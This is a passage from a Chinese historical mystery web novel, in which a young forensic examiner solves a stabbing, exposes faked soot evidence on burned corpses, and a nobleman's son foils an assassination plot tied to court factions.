“我……我不是!”被抓住的男人慌张地扭动,想要从景序昭手底下挣脱,可惜力量悬殊,他逃不掉。
“不是我,我没有杀人!”
“这这这……”郑司马苦着一张脸,“这从何说起,怎么就判定是他了?”
“池娘子,你不会是乱抓一个来向我交差吧。”
池楚浠指着尸体身上的伤口道:“据《大晟洗冤集》记载,伤口与凶器完美吻合,说明是从这个方向刺入,尸首的损伤在右边,故而是行凶人左手持刀所伤,当然也不排除有其他特殊情况,若郑司马觉得不靠谱,那便自己挨个去审。”
被抓的男人继续喊冤:“冤枉啊郑司马,不是草民所为。”
“冤枉!”
浮光锦的老板是在人群里被捅死的,没人知道凶手,只要打死不承认,总不能把所有人都定罪吧。
男人咬紧了牙关死不承认。
郑司马从下属手中拿过了凶器,用左手握刀对着下属比划了几下,照着伤口的角度看的确是左手刺入更贴切。
没有比这更合理的解释了。
季沐风道:“郑司马,我觉得池娘子所言有理,这种角度的伤的确是左手致死更说得通,只有此人是左撇子。”
白蓉绒在旁边小声“切”了一声:“真是麻烦,要是能精准地验指纹,就绝对不会误判。”
此话被池楚浠听见了,她顺势追问:“如何精准验指纹?”
白蓉绒尴尬地笑了笑:“这世上每个人的指纹都不一样,凶手握过凶器,那么凶器上就多半会留有他的指纹,通过提取指纹对比就能确认谁是真凶。”
每个人的指纹都不一样……
池楚浠只知道可以通过整个手掌印来进行对比,有时可以通过此法来追查凶手,但这一手法不常用,怕判不准。
指纹那么细小就更难判准了。
池楚浠抬起自己的手指盯着看,这种普通的纹路竟然每个人都不一样么。
可是指纹这么细小,要如何对比。
白蓉绒道:“你别看了,你又没显微镜,连放大镜也没有,你是对比不出来的,除非印下来的指纹非常清晰。”
池楚浠有些怔怔的。
白蓉绒说的这些东西池楚浠听都没听过,她不愧是从另一个世界来的,她的认知高于这里的所有人。
听嫌疑犯在那里不停地喊冤,白蓉绒走过去道:“你也别喊了,若是你不老实交代就把你们都带回去严加拷打,到时候反正也逃不掉,若真是你干的就老实交代,郑司马给你从轻处置,判你个过失杀人。”
郑靖邦一听,急得想去扯她一把,州衙里没有这种判法啊,杀人了就是杀人,哪还从轻处罚的。
郑靖邦伸出去的手僵住了,对方是
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白尚书之女,不好当众拆她台。
白蓉绒从官兵那里抽过刀来抵在男人胸口,威胁道:“快交代,别耽误我时间,否则大刑伺候。”
她把刀往前推了一寸,男人体会到皮肤被刺破的痛感。
这个女人有些不按常理出牌。
季沐风拽了一下她的袖子:“蓉绒,不可屈打成招。”
白蓉绒无所谓,抵着刀不放。
池楚浠拿起凶器来到嫌犯面前,她比了一个刺入的动作,对嫌犯道:“你不认罪,其他人也不认罪,根据已有的证据判定,你的嫌疑最大,尸首的伤口大概率是左撇子持刀刺入,若你有信心去大牢里耗,那便一辈子咬死不认。”
男人毕竟是没读过书的,生意也没跑过几趟,虽然有点小聪明,但在当官的面前终究是膝盖发软,一想起牢狱之灾和酷刑就害怕得浑身发抖。
加之白蓉绒又威胁了几句,男人噗通一声跪下,跟郑司马磕头认罪。
“是、是我不小心杀的……”
白蓉绒这才把刀收回,插进了侍卫的刀鞘里。
“季郎,走了,带上浮光锦和月华锦。”
季沐风临走前朝池楚浠看来,目光在她那张熟悉又陌生的脸上停留。
她今日的穿着和两年前一样,朴素但却洋溢着少女的灵动,只是他们之间的距离拉得越来越远了。
自从在苍山见面以来,她从未给过他一个笑脸。
季沐风心中有些发闷,他不想情谊走到这种地步,当初是好不容易说服白蓉绒接受池楚浠,可蓉绒是同意了,池楚浠居然脱离了他的掌控。
若没有这突然的变故,池楚浠现在应该是他的妾室。
而此刻,她却连一个笑脸都不愿施舍。
季沐风黑着脸离去。
通往沙洲城的路重新疏通,堵了许久的人群也渐渐散开。
“池娘子。”
有人在后方唤了一句。
池楚浠回头看去,见着一个眼熟的少女。
“宋晚吟。”
没想到这对母女竟还能跟上季沐风他们的步伐,毕竟他们当时看起来像是要休息好久的样子。
“咳咳……”少女掩嘴咳了几声,她今日的妆容依旧很美,穿的衣裳也干净漂亮,尽管如此,池楚浠还是能看出来她透着一股病气,像是已经病入膏肓。
宋晚吟往前走了两步,脚步虚浮,身子一歪像是要摔在地上。
池楚浠立即伸手扶住:“没事吧,你可是到这里来求医?”
宋晚吟笑起来时隐了些病气,因为她涂了唇脂,她扶着池楚浠轻声笑道:“不求医,我这病已无药可治。”
池楚浠内心一震,很后悔问出刚才那句话。
宋晚吟的母亲王娘子从池楚浠手里接过女儿,一路的奔波令她看起来稍显劳累,但她的精力却比女孩好多了。
“不劳池娘子,我拉着她就好,我们还要赶路,去往空缘古刹。”
“空缘古刹,远吗?”池楚浠问。
景序昭道:“不远,就在沙洲城的西边。”
王娘子道:“没错,这空缘古刹是最接近生死的地方,若是去那里祈福,一定可以起死回生。”
池楚浠看了看宋晚吟,若是已经无药可治,怎么也不可能起死回生。
或许去庙里拜拜能让人心里好受些。
20. 杀我妻女
进了沙洲城没多久,池楚浠便和宋晚吟分了路,她们要去往空缘古刹,而池楚浠要暂时留在城内。
临别前,宋晚吟眉眼弯弯地看着池楚浠,笑得很是好看。
“池娘子,就此分别,我会在古刹为你二位祈福点灯。”
池楚浠道:“照顾好你自己便可,我和阿兄若有机会便过去看看。”
王娘子带着女儿去寻马车。
景序昭道:“空缘古刹那边的建筑与这边不同,那边的房子皆是红瓦白墙,密密麻麻地镶嵌在群山之中,相传那里是西方最接近生死的地方。”
池楚浠道:“在去长安之前,我一直生活在苍山,只知那一小片天地,没听过这世上还有接近生死的地方,若真是接近生死,那可否能看到人死去后的模样?”
景序昭笑笑:“法师嘴里常念一句往生极乐,除了生死,皆是小事。”
“死后模样到了死后自然会知晓。”
池楚浠只是笑笑便揭过了话题,人死了就从这个世上消失了,与生者早已不同路。
找了个客舍住下,沙洲城大,客舍的房间也足够多,这次直接定了两间房。
池楚浠外出去打听养蛊的人家,正如向夫人所说,沙洲这边养蛊的人不多,也很少有人用来交易。
没费多少功夫便打听到了。
“两年前可有一小娘子来买这致幻蛊,那小娘子比我小两岁,生得漂亮,口音和语气有些许奇怪……”
“这么久的事谁还记得。”
问遍了这几家,几乎是一样的回答,池楚浠便不再询问,只是买了一只幻梦蛉回来养着。
这蛊有一个好听的名字,叫幻梦蛉。
天色渐晚,景序昭回到客舍后收到一封飞鸽传书,他看完字条后将其烧毁。
等天色彻底暗下来,景序昭换上夜行服出了门。
见不到景序昭在眼皮子底下池楚浠还有些不习惯,毕竟这些天跟阿兄混太久了,活像一对真兄妹。
她手中的证据根本不足以证明是白蓉绒害死的父亲,想要证实这件事,还需要更多的证据,最好能有人证。
池楚浠拿着新买的幻梦蛉去给景序昭看,但敲了房门几下,无人回应。
若景序昭在屋里他必定会应声,他一定是出去了。
也对,这沙洲城没有夜禁,来往商队又多,夜里肯定很热闹,是该出去瞧瞧。
她就不去了,不必去凑热闹。
郑司马为季沐风他们安排了州衙里的住处,白蓉绒带着所有的浮光锦和月华锦住在这里,箱子都堆在院子里由白蓉绒的侍卫看守。
但今日,只有两个侍卫留在院中,其他人都不见了。
丑时,白蓉绒屋里的灯还亮着,她一边吃着甜点夜宵,一边耐心地等着。
季沐风此刻躺在床上闭眼休息,但没完全睡着,他也在等消息。
城内的一处私人住宅里,今夜不安宁。
十几个蒙面的刺客翻墙进入,动作迅速地杀掉了还在睡梦中的仆人。
刺杀一击未毙命,呼救声终于在院中响起。
顿时,府中乱做一团。
沙洲司法参军张景铄被惊醒,从床上猛地坐了起来,还未来得及提剑,两名刺客便朝他杀了过来,刀尖对准他的胸口。
惊呼一声,张景铄以为自己马上就要成刀下亡魂了,吓得脸都没了血色。
忽然,另一名黑衣人横刀挡了过来,将两名刺客的刀用力挡开。
黑衣人将张景铄护到身后。
张景铄死里逃生,瞬间就精神了,他是有功夫在身上的,这会儿回过神来后,立即取了自己的刀与刺客搏斗。
一对一下来,两名刺客没占到上风,他们互相使了个眼色,其中一人吹了声口哨。
口哨一响,外面的刺客得空的都涌了进来。
张景铄与黑衣人背靠背呈互相防御的姿态,他匆匆道:“多谢阁下!”
黑衣人道:“先活下去再说吧。”
屋内打斗四起,院中的仆人皆已被杀,没有人逃出去喊一声。
另一屋里,妇人早早将一个六岁女孩儿藏进了衣柜底下的木箱里,并嘱咐她无论发生什么都不要出声,否则就会没命。
女孩儿躲进木箱没多久,就隔着箱子听见了母亲的惨叫,但只短暂地叫了一下便止住了。
刺客将刀从妇人后背刺入,没有立即死亡,但却很疼。
妇人疼得叫了一声,她余光看了木箱一眼,硬生生止住了叫喊。
她知道,若自己叫喊得太大声,女儿会忍不住跑出来。
刺客见她痛也不哭喊,竟觉得有意思,忍着没再砍一刀,让她一直疼着却又不喊出声,反正见妇人这模样也爬不动了,只能等死,就让她慢慢流血而死。
听到哨声后,刺客提刀奔向了另一房间。
在十几个刺客的围攻下,张景铄与黑衣人很是吃亏,即使两人武艺都不错,但双拳难敌四手,反抗得有些吃力。
张景铄咬牙道:“阁下走吧,不必白白跟我一起送死!”
黑衣人眼中的杀意早已掩盖不住,握住刀柄的手用尽了力气,他只冷声道:“你死了我岂不是白来一趟。”
说着,他提刀冲杀。
张景铄气得浑身发抖:“我家眷恐怕早已遭你们毒手,跟你们拼了!”
他不再给自己留任何余地。
黑衣人眉头略微皱了一下,他似乎在等着什么。
刺客的刀刃从黑衣人的右手臂上划了过去,血水瞬间涌出。
这一刀仿佛要砍到骨头了。
这些刺客都是训练有素的,绝不是普通的侍卫,身手和皇帝身边龙武军有的一比。
张景铄身上也落了大大小小的伤口。
正欲再次生死一搏之际,忽然一阵粉末从门口随风飞了进来。
黑衣人眼中一喜,迅速捂了自己的口鼻,还腾出一只手捂了张景铄的口鼻。
当刺客们意识到两人的动作不对劲时已经来不及了,他们也跟着捂口鼻,可惜已经晚了。
粉末钻进了每个刺客的鼻腔,他们瞬间浑身一软,手里的刀咣当掉在了地上,整个人往地上倒去。
一个穿白衣戴面纱的男子缓步走了进来,他嫌弃地踢了一脚倒在脚边的刺客。
“成了。”
男子看向黑衣人道:“我师父说这次你师父又欠她一个人情,让你们记在册子上,别忘了。”
黑衣人道:“放心吧,我会提醒他老人家,不会忘。”
张景铄拔腿就往外冲,跑进了妻女所在的房间。
女儿爱缠着阿娘,所以母女俩一直睡在一起,张景铄喜欢自己单独一间房,没想到这样的安排没能让他在危急时刻保护她们母女。
张景铄后悔不已。
当他跑到这边房间时,看见一位白衣女子正在处理夫人的伤口。
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“我娘子如何!”张景铄着急地扑过去看。
女子戴着面纱,淡淡道:“昏过去了,凶多吉少。”
“若菱呢,若菱!”张景铄急得满屋乱窜。
喊了许久,没人回应。
张景铄一个大男人此刻攥紧了拳头,浑身发颤,仇恨永无止尽地在心底蔓延。
那群人莫非把他女儿带走了。
景序昭扫视了屋内一眼,瞧出了衣柜下的箱子有异,上前打开了箱子盖。
“啊!”女孩儿吓得惊叫一声。
张景铄冲过来抱住女儿,嗓子哑得像要哭了:“万幸,你阿娘护了你一命。”
“阿耶,呜呜呜……”
女儿在看见母亲生死未卜后痛哭流涕。
戴面纱的女子道:“若想你夫人活命就把她交给我带走,我师父有办法医治,至少有一半的机会活下来。”
黑衣人解下蒙面的黑布,露出一张年轻的脸。
面纱女子道:“景序昭,让这位官爷尽快做决定,否则神仙也难救了。”
景序昭道:“张参军,我乃景博珩之子,此番奉命来护你安危,若信得过我,便将你夫人送去医治。”
“景博珩之子……”张景铄重复了一遍,“景凛渊是你的谁?”
“我兄长。”
张景铄颇有些震惊,他从前在长安时只认识景凛渊,没听过景序昭,相传景家有个二儿子从小便被送去外地抚养,想必就是他了。
张景铄对着面纱女子行了个礼:“还请您尽力救我娘子,诊金多少我都愿意出。”
面纱女子道:“好说,不贵,治好了再向你讨。”
女子扔给景序昭一个药瓶道:“治刀伤,外敷,我和师兄先走了,记得,我师父说了,让你师父亲自去谢她,不是本人恕不接待。”
景序昭:“麻烦告知你师父,我绑也会把他绑去的。”
张若菱跟着女子一起去了,她要去陪阿娘。
张景铄眼中的恨意无法抑制,他沉声道:“陛下刚要调我回长安,立马就有人要取我性命,这些人其心可诛!”
“我要把这些刺客全都带回长安,扔到金銮殿前。”
景序昭道:“都是些死士,一旦被囚,他们只会去死,你是带不回去的。”
“那这口气就这样咽下不成!”
“公主私下派了人来沙洲取浮光锦,这些死士正是他们带来的。”
张景铄眉心一拧:“她不愿我回去阻她成就大业,那我偏偏要回!”
张景铄捏紧了拳头:“只有太子才能继承正统,公主蛇蝎心肠,杀我妻女,我此生绝不倒戈。”
景序昭早已听闻张景铄此人的性格,他为人没那么多弯弯绕绕,说了效忠太子就必定如此,无法用好处收买,也怪不得公主不愿他回去,宁愿杀他全家。
“张参军,太子会派人护送你回到长安。”
“替我多谢太子殿下。”
州衙住所。
负责联络死士的眼线匆匆跑来禀报:“白娘子,一个也没回来。”
白蓉绒猛地站起,一口把嘴里的甜点咽下:“你说什么,都死了?”
“是。”
“怎么可能……”
“其中有蹊跷,白娘子需多派些人手去调查。”
季沐风从床上坐起来,也是一脸震惊:“莫非太子也派了人来沙洲,可为何我们都不知情。”
21. 连续焚尸
白蓉绒脸色有些难看,“不用查了,我知道是谁。”
“景家,景序昭。”
季沐风瞪大了眼睛,一脸不可置信:“你是说景家,可景司空从未参与党派之争,怎么会……”
白蓉绒忽地一笑:“从未参与?”
怎么可能,表面上从未参与,实际上他才是最顽固的太子党。
自己是穿越来的岂能不知,只是自从她穿越来后剧情有所变动,但基本的人物设定肯定还没变。
景博珩就是太子党毋庸置疑,他只是表面上中立,把所有人耍得团团转。
当初若不是知道她与景家理念不合,否则她就想办法和景家联姻了。
没想到景博珩这么快就出手了,看来剧情还在不断地变动,未来的变量也越来越多。
想要成为一人之下万人之上的女官,她还有很长的路要走。
池楚浠今夜睡得不踏实,门外刚有一点动静她便惊醒了。
外面的脚步声似乎在门口停了下来。
池楚浠警惕地下床,靠近门边时闻到了一股血腥味,她的嗅觉天生比常人要敏锐些。
“阿兄?”
“是我。”
池楚浠拉开门栓,见景序昭的身子有些不稳,赶忙扶住:“你怎么受伤了?”
景序昭将药瓶塞进池楚浠手里:“后背的伤口劳烦楚浠帮我上药。”
池楚浠点亮屋里的烛火,借着光看景序昭后背的伤势,幸好,后背的伤没有胳膊上的严重。
“你去做什么了?”
池楚浠帮忙褪下他的衣物,擦了擦伤口周围的血迹。
景序昭道:“白家派人暗杀前奉车都尉,我提前得知了这一消息便去掺和了一脚,这会儿前奉车都尉已被送到了安全的地方。”
景序昭乃是景家之子,景家人在朝廷中担任要职,景序昭难免会卷入朝廷纷争,池楚浠不便过问太多。
她只是默默地擦药。
见她不问话,景序昭道:“前奉车都尉叫张景铄,从长安被贬出来后在沙洲做司法参军,长安传来消息,陛下要调他回去。”
池楚浠听完嗯了一声:“阿兄既要参与党争,那务必要保护好自己,这争斗一不小心便会殒命。”
不太明亮的光线中,景序昭看着池楚浠投射在地上的影子道:“我知晓。”
池楚浠道:“胳膊上的伤有些严重,明日一早去找大夫。”
景序昭:“不必了,你手上这药已是最好的,无需再找大夫拿药。”
池楚浠不是舞刀弄剑之人,平时也不怎么受皮肉伤,对这类药不熟悉,但这药粉闻起来药香很纯粹,绝对都是极好的药材炼制。
“阿兄这几日可还要继续与白家人周旋?”
“不了,会有人来接张参军回去,至于白蓉绒……”景序昭扭头看着池楚浠,“她为公主做事,你父亲一事与她脱不了干系,你就好好盯着她,将来亲手将她滥杀无辜的证据公之于众。”
池楚浠怔怔地陷入了沉思。
一只幻梦蛉并不能证明什么,池楚浠只默默地将它收好,先养着,或许将来用得上。
景序昭养了几日,身上的伤已经结痂。
“果然是神药,阿兄从哪里寻来的?”池楚浠上药时问。
“你可听过灵枢毒医?”
“灵枢毒医……不曾听过,是哪里的大夫?”
景序昭道:“多年前太医署有一位姓长孙的女官,因医术高明得陛下赏识,统领太医署,后遭人嫉妒陷害,指认她下毒谋害宠妃,陛下便将她赐死。”
“死了?”
“没有,她假死脱身,从此改了姓名隐居灵枢谷,还收了不少弟子,如今灵枢毒医一脉愈加壮大。”
池楚浠愣了愣:“你告诉我这些,不怕我透露她的身份,毕竟她可是犯了欺君之罪。”
景序昭盯着池楚浠道:“那你要去告御状吗?”
池楚浠脸色凝重,盖好药瓶盖子:“是陛下冤枉她,她没错,我自然不会去告。”
景序昭笑道:“你是最拎得清的,又怎么会为难她一个上了年纪的妇人。”
池楚浠疑惑地瞥了他一眼:“你就这般信任我,什么都说,怪哉。”
景序昭自己为自己套好衣服:“不信你信谁,当初正是因为信你才带着其他难民死里逃生,你值得我信。”
池楚浠:“可那次也死了不少人,我没帮上你们多少。”
“帮了。”景序昭垂眸看着她,“你帮了活下来的所有人,若不是你,所有人都会死。”
景序昭凝视着她那双眼眸:“楚浠,在大是大非面前,你强过白蓉绒百倍,以后无需再暗中与她做比较。”
“季沐风为了白蓉绒抛弃你,是他鼠目寸光,是他不值得,你将来一定比他季沐风站得高。”
池楚浠抬眼看去,景序昭的眼神如此赤诚。
他竟知道她会暗中拿自己与白蓉绒做比较……
他好像什么都知道,他好像很了解自己。
是他那些推演之术算出来的吧,他精通风水堪舆,会推演会算命。
“谢谢阿兄看得起我。”
池楚浠微微一笑。
天空灰蒙蒙的,有要下雨的迹象。
州衙的大门前,一位衣着干净漂亮,化着妆的少女对着守卫哀求道:“我阿娘是冤枉的,求刺史重审,小女求你们了……”
两名守卫见姑娘长得好看,对她还算耐心,即便是被求得烦了,也只是轻推了她一把。
“回去吧,别来了,你娘杀了人还企图毁尸灭迹,怎么着也是死罪。”
“回去吧啊。”
“我阿娘不会杀人的……绝对不会!”
少女带着哭腔解释,可惜任她怎么解释都无用。
白蓉绒带着浮光锦就住在州衙,今日她刚从外面回来,正要从大门进去。
宋晚吟蹲在一旁哭泣,求助无门,她略微一抬头便和白蓉绒对视上。
熟悉的感觉瞬间袭来,她见过这个女子。
见白蓉绒要进州衙的大门,宋晚吟立即意识到什么,扑上前拦住她。
“这位娘子,我……可否帮帮我?”
白蓉绒记得宋晚吟这张脸,妆容化得很漂亮,但整体给人的感觉病恹恹的,像个病美人。
白蓉绒避开了宋晚吟伸过来的手,道:“何事?”
宋晚吟还未说话,其中一个守卫便道:“她要给她娘伸冤,但这事已经是板上钉钉了。”
守卫终于有些嫌弃地瞪了宋晚吟一眼:“还不快走,竟敢拦着白娘子。”
宋晚吟跪在地
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上,抬头眼泪汪汪地望着白蓉绒,希望得到一丝怜悯。
白蓉绒扫了她一眼,越过她进入了州衙大门。
赵刺史是要给白蓉绒和季沐风几分薄面的,虽然季沐风明面上还没有官职,但他已通过了吏部的考试,分配官职是迟早的事。如今他又娶到了白尚书之女白蓉绒,将来必定会分配在长安做官,权力不会小。
“浮光锦和月华锦可都已清点完毕了,没有损坏吧?”赵刺史问。
白蓉绒:“已经清点完毕,我和季郎要准备回长安了,宫里的贵人们还等着要这批料子呢。”
赵秉钧笑呵呵道:“那就好,出发时我派人护送二位一程。”
有侍卫匆匆跑进来禀报:“刺史,门口那个小娘子要在咱们州衙上吊自尽,绳子都挂上了!”
赵秉钧道:“她还没完没了,赶紧把她给我轰走,要死也不能死在州衙门口,叫百姓看见了像什么话。”
赵秉钧说完冲季沐风笑笑:“无知草民,已经定性的案子非要重审,哪有这样的,自古杀人就该偿命,季郎君说是不是。”
季沐风点点头。
白蓉绒:“这是桩什么案子?”
赵秉钧:“门口那小娘子的娘为了给她女儿治病,不知从何处听说了一种续命邪术,接连害了三人性命,手段残忍地将他们烧死,这还有什么可审的。”
白蓉绒:“我方才来时听那小娘子说有冤屈。”
赵秉钧无奈地叹了口气:“哎,她当然觉得自己阿娘有冤屈,谁家孩子都这样。”
白蓉绒嘴角勾起一抹笑容:“既然人家都鸣冤了,刺史不如再审一次。”
赵秉钧:“?”
季沐风也愣了:“娘子是何意?”
白蓉绒为何要插手这桩案子?
白蓉绒道:“原刑部左侍郎恰好也在沙洲,他身边还有一位擅长验尸断案的客卿,刺史不如将他们二人请来,若是断好这桩案子,那功劳自当算在刺史头上,若断不好,罪责便由他二人担着,刺史一点也不亏。”
赵秉钧露出个恍然大悟的神情,他看出白娘子想要给那位前刑部左侍郎使绊子,估计二人有过节。
“这样啊……可原刑部左侍郎为何会出现在沙洲?”
白蓉绒:“当然是被贬来的,他不受家族器重,便被家里人联合上峰贬到了苍山做一个小小县丞,刺史只管叫他过来做事,他不敢推辞。”
赵秉钧捋了捋胡子,当即派了郑司马去叫人。
宋晚吟被人救了下来,没上吊成功,此刻,她瘫坐在州衙内的地板上,等着刺史重审此案。
停尸房内,三具被烧过的尸体依次停放。
池楚浠戴上了自制的手套揭开白布,最右边的尸体表面已是一片焦黑。
三具尸体表面的皮肤虽被烧掉了大部分,但整体保持得较为完整。
刺史觉得恶心便不上前观望,郑司马只远远地看着,他把州衙里的仵作推了过去盯着池楚浠。
仵作是个四十多岁的男人,身上有些邋遢,眼睛有些发虚地偷瞄着池楚浠。
池楚浠用工具撬开尸体的嘴,她抬头朝仵作看来,只见仵作快速把眼转开,仿佛做了什么亏心事。
池楚浠心下衡量了几分,便道:“张仵作,你说这几具尸体是活活被烧死的?”
22. 收买仵作
仵作支支吾吾地嗯了一声,他上前指着尸体的口鼻道:“有烟灰,是在活着时被烧死的没错。”
池楚浠从口鼻中取了些烟灰出来,将它们仔细放在一张白布上。
仵作道:“你这个小娘子年纪轻轻的懂什么验尸,干这一行的谁没个几十年经验,就凭你能验出个什么来。”
池楚浠不反驳,只伸手道:“拿刀来。”
郑司马给了仵作一个眼神,仵作不情愿地递了刀过去。
景序昭站近了些看,这场面令他感到震惊,寻常小娘子谁受得了这个。
池楚浠用锋利的刀片划开了尸体的喉部,用工具撑开仔细查看。
喉道里干干净净。
她再次打量了仵作一眼,已然对有些事心知肚明。
这个仵作撒谎。
验完了最右边的尸体,景序昭帮忙摘下了池楚浠的手套,换上了另一幅干净的手套。
接下来轮到第二具尸体了。
和第一具尸体一样,池楚浠取出了部分口鼻里的烟灰,切开了呼吸器官。
到了第三具尸体时,池楚浠忽然顿住了,她拿着刀迟迟没有下手。
“怎么了?”景序昭问。
池楚浠把疑问告知:“这三具尸体没什么油脂,若是燃烧的温度足够高,时间够长,尸体会被完全烧毁,黄色油脂状物质可能不会明显,但这几具尸体燃烧并不充分,油脂不可能完全被融掉。”
景序昭:“你的意思是这几具尸体都缺少了必要的油脂,莫名其妙不见了。”
池楚浠点点头。
郑司马在一旁听见了,摆摆手道:“怎么可能,绝对不会,有两名目击证人亲眼看见他们被烧死,你说的那什么尸油也不一定绝对会出现吧,被火全部烤干了也未可知。”
池楚浠感觉刚才那番话白说了。
景序昭:“郑司马,楚浠的意思是按照如今这几具尸体燃烧的程度来看,是应该留有油脂的,如今却没有,是不是应该深入详查。”
郑司马挠挠头看向远处的白蓉绒。
白蓉绒没有任何表态,毕竟她没有官职在身。
郑司马道:“这事还得问刺史,等验尸完毕上报给刺史,由他定夺。”
池楚浠查验了最后一具尸体,都是一样的结果。
景序昭亲自将验尸结果记录在册。
池楚浠扒开提前挑出来的烟灰,将它们放在一起对比,“阿兄,你看这些烟灰,分明是两种。”
景序昭在她把烟灰挑出来时就发现了,此时听见池楚浠亲口说,他才把结果记录上。
池楚浠:“一种是尸体上本身残留的烟灰,另一种干湿度和成分皆不同,明显是后来才塞进去的。”
她看向仵作道:“弄虚作假只能将烟灰塞进口鼻,却没法塞入深处,于是我用刀剖开看,果然里面是干干净净的。”
仵作有些心虚地撇开脸。
景序昭冷笑道:“郑司马,看来你们州衙断案竟是如此草率,连尸体被人做了手脚都不知,是你收了好处还是你们刺史收了好处?”
“你血口喷人!”郑司马气得脸红一阵。
此时,刺史走了过来,他怒目瞪着仵作:“到底怎么回事,你说说,为何会有两种烟灰?”
“刺史明鉴。”仵作直接跪在他面前道,“尸体送来时便是这副模样,我都是如实记录的。”
赵秉钧捂着口鼻亲自查看了那两种烟灰,确实有细微的不同。
见刺史看过之后没反驳,仵作赶紧道:“属下经验不足,验尸不准,还望刺史恕罪。”
赵秉钧嫌弃地摆摆手:“你下去吧,有池娘子在就够了。”
赵秉钧:“这么说几人都是死后才被焚烧,那两个证人岂不是在说谎。”
景序昭:“将两名证人重新审问。”
赵秉钧:“证人已经回了空缘古刹那边,赶过来需要些时间,咱们且等等。”
“景县丞,陪我喝一杯吧,你好歹是长安来的,我也该尽尽地主之谊。”
赵秉钧带着景序昭和季沐风他们去了城里最大的一家酒楼。
池楚浠的双手剖过尸体,且又没有任何背景,赵秉钧是有些嫌弃她的,请客吃饭并没有把她算在内。
景序昭回到住处换了身衣裳,池楚浠用点燃的香草围着他转了转。
“这样可以祛尸臭味。”
景序昭抬起手闻了闻:“真的有味?”
池楚浠笑笑:“换过衣裳就没了。”
“你身上的伤还没好,去和他们喝酒能行吗?我看赵刺史不像一副好心肠。”
景序昭收起刚用过的药:“他们若是安了好心肠就不会叫你我二人前来,我去探探究竟,顺便替你盯着白蓉绒,我查到两年前她也来过沙洲。”
池楚浠为景序昭熏了香草,送他到门口:“阿兄自己当心。”
景序昭走后,池楚浠这才拉起宋晚吟的手,见她很是疲惫便抬手探了探她的额头。
“幸好,没发烧,你若是不舒服一定要告知我,我带你去看大夫。”
宋晚吟脸上还带着妆容,但疲惫之态即使是有妆容也掩盖不住,她缓缓摇头道:“他们都诬陷我阿娘,阿娘怎么可能杀人呢,我这病已无药可治,我知道,阿娘也知道,她又怎会那么糊涂,去谋什么续命的邪术。”
池楚浠让店家送来了水。
“先别想了,你洗个脸睡一觉,那两名证人明显是说了谎话,三具尸体皆是死后才被焚烧,有人故意嫁祸给你阿娘。”
“除此之外还有什么证据能证明你娘杀人了?”
宋晚吟道:“还有一张我娘画的手稿,上面是……是邪恶祭祀的杀人图。”
宋晚吟急着解释:“她一定是在其他地方看到的,然后誊抄下来,她不会真的想那么做。”
“阿娘不会的……”
宋晚吟哭着摇头,她嘴巴上说着不会,但她知道阿娘为了让她活命愿意付出很多。
即便是一命换一命阿娘也愿意,可这桩案子还有疑点,她亲口听到阿娘说她没做过,她相信阿娘说的每一句话。
她呜咽起来。
池楚浠拍拍她的肩头,安慰道:“事情一定会水落石出的,睡吧,你也好几天没好好睡过一觉了。”
宋晚吟只眯了一个时辰便醒了过来,她睁开眼见池楚浠在房间里安安静静地守着她。
“池姐姐。”宋晚吟小声唤了句。
池楚浠立马朝她看来:“这么快就醒了。”
“想着我阿娘还在牢里,睡得不踏实,不知何时才能将这桩案子查清,我阿娘在牢里一定很受罪。”
池楚浠弄了些吃食来,与宋晚吟两人一同加了餐。
屋子里的
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氛围正是难受到了极点,池楚浠是失去了父亲的人,很能感同身受。
没多久,门外竟响起了轻微的敲门声。
“池娘子在吗?”
是一个陌生男人的声音,池楚浠顿时警惕起来。
池楚浠没给任何回应,只是悄悄搬起凳子抡在手里。
宋晚吟见她这副模样,顿时跟着害怕起来。
“池娘子,我是陆逍,是我家左侍郎告诉我你在这里的,池娘子若是在就应我一声。”
左侍郎?
池楚浠把手中抡起来的凳子放低几分,凑到门边问:“哪个侍郎?”
“前刑部左侍郎,他说在醉仙楼应当有你感兴趣的事,不妨去瞧瞧,他这会儿还在同刺史饮酒,没那么快离开。”
池楚浠道:“你如何证明你的身份?”
门缝底下缓缓塞进来一个东西。
“池娘子看门缝。”
池楚浠低头瞧见一张玉牌,和景序昭身上的那张玄空玉符一样。
池楚浠打开了门。
“陆逍?”
她望着门口的男人。
陆逍看着与景序昭差不多年纪,五官长得讨喜,他嘿嘿一笑,将玉符塞回怀里:“我可不能骗你,池娘子可还记得我?”
池楚浠盯着他那张脸瞧,瞧着瞧着,一股火气就腾地燃起:“是你!”
“你是那个在西市拦我的假道人。”
陆逍呵呵笑着:“是我,池娘子可别怪我,我也是奉命行事。”
“奉谁的命?阿兄?”
陆逍点头:“没错,哪个……呃……左侍郎他算出你姻缘不顺,所以让我来劝阻,没有别的意思,你别误会。”
池楚浠垂了垂眼:“他倒是算得挺准,多谢陆兄的提醒,不过幸好,我没与季郎拜堂成亲。”
陆逍傻乎乎笑了一下:“这是好事,那你这会儿可要去醉仙楼?”
“既然是阿兄叫我去,那我便去一趟,瞧瞧到底是什么有趣的东西。”
陆逍拦住她道:“诶,可不能这么去。”
池楚浠:“?”
只见陆逍朝她递过来一个包袱,池楚浠打开一看,里面是一套本地女子的衣裳。
这衣裳自带了一张金灿灿的面纱,池楚浠对着镜子左看右看,有些为难地道:“陆兄,这不像是普通女子的衣裳,为何要穿成这样?”
陆逍道:“这是舞女的衣裳,沙洲地区的舞女穿得较为露骨,流行以金纱遮面,你戴上这面纱也好防止赵刺史他们认出你。”
“另外,只有这样你才更容易见到醉仙楼的花三娘,在她那里可以打听到白蓉绒的秘密。”
陆逍问:“你会跳舞吗?”
池楚浠道:“学过一些,但并不精通,恐怕不能应付你说的那位花三娘。”
陆逍:“没事,左侍郎会为你打掩护,你只管在醉仙楼问你想知道的东西。”
池楚浠点点头:“嗯。”
宋晚吟也想跟着去,她不想独自待在客舍里,反正也睡不着。
陆逍想了想,给她也找了个面纱罩着,省得被白蓉绒的人一眼就认出来。
沙洲是一个商贸大城,附近的外邦商队很多会从这里经过,特殊的地理位置和贸易关系令这座城市的夜晚热闹非凡。
醉仙楼里不仅有各地的美食,还有美姬。
23. 红衣舞姬
陆逍是领着两个戴着面纱的姑娘进来的,其中一个穿着舞裙,浑身看起来绚烂夺目,另一个穿着蓝色的衣裙,只以普通纱巾遮面,尽管如此,只要看过两位姑娘一眼,都会下意识地认为这俩姑娘美丽脱俗。
曾经田娘子家里请来了一批女乐,给家中姑娘教了些舞乐知识,池楚浠也是那时跟着学了些东西,许久不跳,她有些担心万一花三娘叫她跳舞怕不能从容应对。
池楚浠缓步走入醉仙楼,宽敞的一楼厅中人来人往,时常可见到外邦人士。
